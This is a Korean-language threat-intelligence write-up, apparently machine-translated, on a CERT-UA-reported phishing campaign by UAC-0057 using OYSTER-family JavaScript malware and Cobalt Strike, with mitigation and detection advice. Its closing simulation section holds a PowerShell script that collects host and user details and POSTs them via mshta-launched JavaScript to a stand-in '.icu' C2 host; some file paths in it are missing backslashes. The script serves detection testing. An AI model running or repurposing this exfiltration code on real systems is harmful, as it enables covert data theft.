UAC-0057, OYSTERFRESH, OYSTERSHUCK, OYSTERBLUES로 도구 키트 업데이트

요약

CERT-UA는 우크라이나 정부 조직을 대상으로 한 피싱 캠페인을 보고했습니다. 이메일에는 PDF 첨부 파일이 포함되어 있으며, 수신자를 ZIP 아카이브로 리디렉션하여 OYSTERFRESH, OYSTERSHUCK, OYSTERBLUES로 알려진 악성 JavaScript 파일을 전송합니다. 실행되면 악성코드는 시스템 정보를 수집하여 HTTP POST 요청을 통해 전송하며, 이후에는 Cobalt Strike 구성 요소를 추가로 가져올 수 있습니다. 지원 인프라는 Cloudflare 뒤에 은폐되어 있으며, 광범위하게 사용됩니다. .icu 도메인.

조사

CERT-UA의 분석에 따르면 악성 JavaScript 샘플, 문자열 반전, ROT13 및 URL 디코딩을 포함한 디코딩 방법, 지속성을 유지하는 데 사용되는 레지스트리 변경 사항이 식별되었습니다. 조사자들은 또한 감염 체인과 관련된 여러 파일 아티팩트와 Windows 경로를 문서화했습니다. 네트워크 분석은 활동이 Cloudflare로 보호된 .icu 호스팅 인프라와 연결되어 있음을 나타냅니다. 보고서는 추가로 Cobalt Strike 비콘의 추가 전송 가능성을 언급합니다.

완화 방안

조직은 wscript.exe 의 실행을 표준 사용자에게 제한하고, PowerShell 및 JavaScript 실행을 제한하며, 의심스러운 변경 사항에 대해 나열된 레지스트리 실행 키를 모니터링해야 합니다. 웹 필터링을 사용하여 .icu 도메인을 차단하고, 적절한 경우, 캠페인과 연결된 Cloudflare 관련 IP 범위를 차단해야 합니다. 방어자들은 또한 최소 권한 제어를 적용하고, 알려지지 않은 바이너리의 자동 실행을 방지해야 합니다.

대응

보안 팀은 식별된 파일 이름, 레지스트리 키 및 알려진 도메인으로의 아웃바운드 HTTP POST 트래픽에 대한 탐지를 생성해야 합니다. 사냥은 또한 CSBEACON DLL과 MicrosoftEdgeUpdateTaskMachine라는 모든 예약된 작업을 포함한 가능한 Cobalt Strike 페이로드를 커버해야 합니다. 엔드포인트 조사는 JavaScript 디코딩 및 실행 체인을 추적하기 위해 프로세스 트리를 수집해야 합니다.

시뮬레이션 실행

필수 조건: Telemetry 및 Baseline 사전 비행 점검이 통과했어야 합니다.

근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대 기술 (TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하며 탐지 로직이 기대하는 정확한 원격 측정을 생성합니다.

• 공격 내러티브 및 명령:
  적은 서명된 Windows 바이너리 (mshta.exe)을 활용하여 작은 JavaScript 페이로드를 실행하여 시스템 정보를 수집하고 이를 C2 서버가 제어하는 악성 “*.icu” 도메인으로 HTTP POST를 통해 유출합니다. 이 “지역 자원을 활용한” 접근법은 AV 경보를 유발하지 않으면서도 규칙이 모니터링하는 정확한 방화벽 이벤트를 생성합니다 (POST + “.icu”).

• 회귀 테스트 스크립트:

  # OYSTERBLUES 스타일의 데이터 유출 시뮬레이션
  # 1. 최소 시스템 정보를 JSON으로 인코딩
  $info = @{
      hostname = $env:COMPUTERNAME
      user     = $env:USERNAME
      os       = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption
  } | ConvertTo-Json -Compress
  
  # 2. JS fetch POST를 실행하는 임시 HTML 파일 작성
  $htmlPath = "$env:TEMPexfil.html"
  $js = @"
    var data = '$info';
    fetch('http://malicious-c2.abc.icu/collect', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: data
    });
  "@
  Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII
  
  # 3. mshta를 통해 실행 (서명된 바이너리 프록시 실행)
  Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`""
  
  # 4. 요청이 완료될 때까지 대기 후 정리
  Start-Sleep -Seconds 5
  Remove-Item -Path $htmlPath -Force

• 정리 명령:

  # 남아있는 mshta 프로세스가 종료되었는지 확인
  Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # 남아있는 임시 파일 제거 (있는 경우)
  $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html"
  foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }